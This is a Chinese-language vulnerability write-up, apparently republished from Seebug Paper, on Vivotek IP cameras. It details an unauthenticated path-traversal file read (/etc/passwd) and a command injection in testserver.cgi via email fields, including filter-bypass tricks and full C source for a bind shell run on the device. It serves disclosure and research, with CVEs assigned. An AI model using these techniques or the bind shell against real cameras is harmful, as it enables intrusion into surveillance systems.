作者:超威藍貓
內網中有一些 Vivotek 的網絡攝像頭,用作監控。直接訪問 80 端口的 Web 服務,在 配置 - 維護 - 導入/導出文件 里導出配置文件,得到一個包含有 etc 文件夾的 tar 包。從目錄結構來看,像是把 Linux 上的文件打包了一樣,推測攝像頭上運行著嵌入式 Linux 系統。
于是對 Web 服務進行黑盒測試,然而并沒有發現什么漏洞。訪問 /cgi-bin/viewer/getparam_cache.cgi?system_info_firmwareversion 得知固件版本號是 IB8369-VVTK-0102a ,那么型號應該就是 IB8369 了。去官網下載固件進行分析,順手點開了固件旁邊的用戶指南,在一堆 cgi 接口中發現了這么一條:

這里的 query_string 居然是絕對路徑,嘗試讀取 /etc/passwd ,返回 "Permission denied" :

如果按照用戶手冊里的 /mnt/auto/CF/NCMF/xx 來,就是不會遇到前面的問題:

然而后端只檢查了前綴是否為 /mnt/auto/ ,可以路徑穿越到 / 下,讀取任意文件:

以上是第一個漏洞。下面是命令注入:
從 ib8369firmware.zip 里解壓出 IB8369-VVTK-0102a.flash.pkg 。去掉文件頭部的 54 字節后用 BandiZip 可以提取出 rootfs.img ,是文件系統鏡像。


/bin 里只有 busybox 是真的 ELF ,其他都是假的,全都是到 busybox 的軟鏈接; /sbin 里有一些廠商編譯的 ELF ,用于攝像頭的各種配置,其他也都是到 /bin/busybox 的軟鏈接; /usr/bin 里有很多廠商寫的 shell 腳本,也是用于攝像頭的配置; /usr/share/www/cgi-bin 里是 cgi 們,有很多是 shell 腳本,一部分是 ELF 。這些 shell 腳本很多都把用戶輸入帶入命令去執行,或者是作為參數傳遞給專門處理某項配置的 ELF 。既然能訪問到 Web 服務,那就從這些 cgi 入手好了。
花了半小時,終于在 /usr/share/www/cgi-bin/admin/testserver.cgi 發現了一處命令注入。這個接口是在添加監控事件對應操作時的測試服務可用性的功能,比如配置讓攝像頭在系統啟動時發出特定 HTTP 請求,或在監測到特定畫面變化時發送郵件,或是定時將日志發送到指定郵箱,這個接口就可以用于測試 HTTP 請求或是郵件能否正常發送。
這個 CGI 中先把用戶輸入存放在 strparam 這個變量中:
if [ "$REQUEST_METHOD" = "POST" ]; then
strparam=`cat $stdin | cut -c1-$CONTENT_LENGTH`
else
strparam=$QUERY_STRING
fi
接著把 strparam 傳給 decode.sh 進行 URL 解碼,然后用正則取出各個參數,存放到對應變量中:
strparam=`decode.sh $strparam`
type=`echo "$strparam" | sed -n 's/^.*type=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
address=`echo "$strparam" | sed -n 's/^.*address=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
senderemail=`echo "$strparam" | sed -n 's/^.*senderemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
recipientemail=`echo "$strparam" | sed -n 's/^.*recipientemail=\([^&]*\).*$/\1/p' | sed "s/%20/ /g"`
...
之后,如果 type 是 email 并且 address 和 recipientemail 非空,就把用戶輸入的 sendermail 和 recipientmail 代入用 sh -c 執行的字符串里:
if [ -n "$address" ] && [ -n "$recipientemail" ]; then
#echo "$body" | sh -c "$SMTPC -s \"$title\" $mime_type -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\""
if [ "$sslmode" = "1" ]; then
check_smtp_over_https
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S "127.0.0.1" -P "25" $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
else
sh -c "$SMTPC -s \"$title\" $mime_type -b $SEND_FILE -f \"$senderemail\" -S \"$address\" -P $port $auth \"$recipientemail\" $COS_PRIORITY_OPT $DSCP_PRIORITY_OPT"
fi
if [ "$?" = "0" ]
then
translator "the_email_has_been_sent_successfully"
else
translator "error_in_sending_email"
fi
else
translator "please_define_mail_server_location"
fi
值得一提的是,位于 /usr/bin 的 decode.sh 在 URL 解碼之前,還用 gsub(/["<>]/,"",temp) 過濾了雙引號和尖括號。同時,所有與空格等價的符號也不能使用,因為 CGI 把 strparam 傳遞給 decode.sh 的時候沒有加引號,而 decode.sh 中 temp=$0 取的是第一個參數,也就是說如果 strparam 中有空格,decode.sh 會接收到多個參數,而最終只會返回第一個參數經過 decode 后的結果。
在這里我用變量 ${IFS} 替代空格,用 |tee 替代 >:

構造 Payload 進行命令注入:

利用前面的文件讀取漏洞查看命令執行的結果:

由于目標上沒有 nc 或是 bash ,而且 sh 和 ash 都是軟鏈接到 busybox 的 ,@RicterZ 建議我交叉編譯一個 bindshell :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
char msg[512];
int srv_sockfd, new_sockfd;
socklen_t new_addrlen;
struct sockaddr_in srv_addr, new_addr;
if (argc != 2)
{
printf("\nusage: ./tcpbind <listen port>\n");
return -1;
}
if (fork() == 0)
{
if ((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
{
perror("[error] socket() failed!");
return -1;
}
srv_addr.sin_family = PF_INET;
srv_addr.sin_port = htons(atoi(argv[1]));
srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)
{
perror("[error] bind() failed!");
return -1;
}
if (listen(srv_sockfd, 1) < 0)
{
perror("[error] listen() failed!");
return -1;
}
for (;;)
{
new_addrlen = sizeof(new_addr);
new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr, &new_addrlen);
if (new_sockfd < 0)
{
perror("[error] accept() failed!");
return -1;
}
if (fork() == 0)
{
close(srv_sockfd);
write(new_sockfd, msg, strlen(msg));
dup2(new_sockfd, 2);
dup2(new_sockfd, 1);
dup2(new_sockfd, 0);
execl("/bin/busybox", "/bin/busybox", "sh");
return 0;
}
else
close(new_sockfd);
}
}
return 0;
}
./arm-926ejs-linux-gnueabi-gcc --static -O2 /tmp/bindshell.c -o /tmp/bindshell 編譯之后通過 FTP 傳到攝像頭的 /mnt/ramdisk 里(web 也有上傳文件的接口),然后運行:


總結
/cgi-bin/admin/downloadMedias.cgi 和 /cgi-bin/admin/testserver.cgi 都沒有鑒權,只要能訪問 web 服務,就可以成功利用。已經確認可以成功攻擊的型號有 IB8369-VVTK-0102a 、FD8164-VVTK-0200b 、FD816BA-VVTK-010101 。從官網下載了十幾份不同型號的最新固件進行分析,發現都存在這兩個漏洞,可以推測應該是通用的。只要是用戶手冊有 “If your SMTP server requires a secure connection (SSL)” 這句話,就可以推斷這個型號存在上文提到的命令注入漏洞。這兩個漏洞可以影響絕大部分的 Vivotek 網絡攝像頭。
Update on June 24th: CVE-2017-9828 and CVE-2017-9829 have been assigned to the vulnerabilities.
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/331/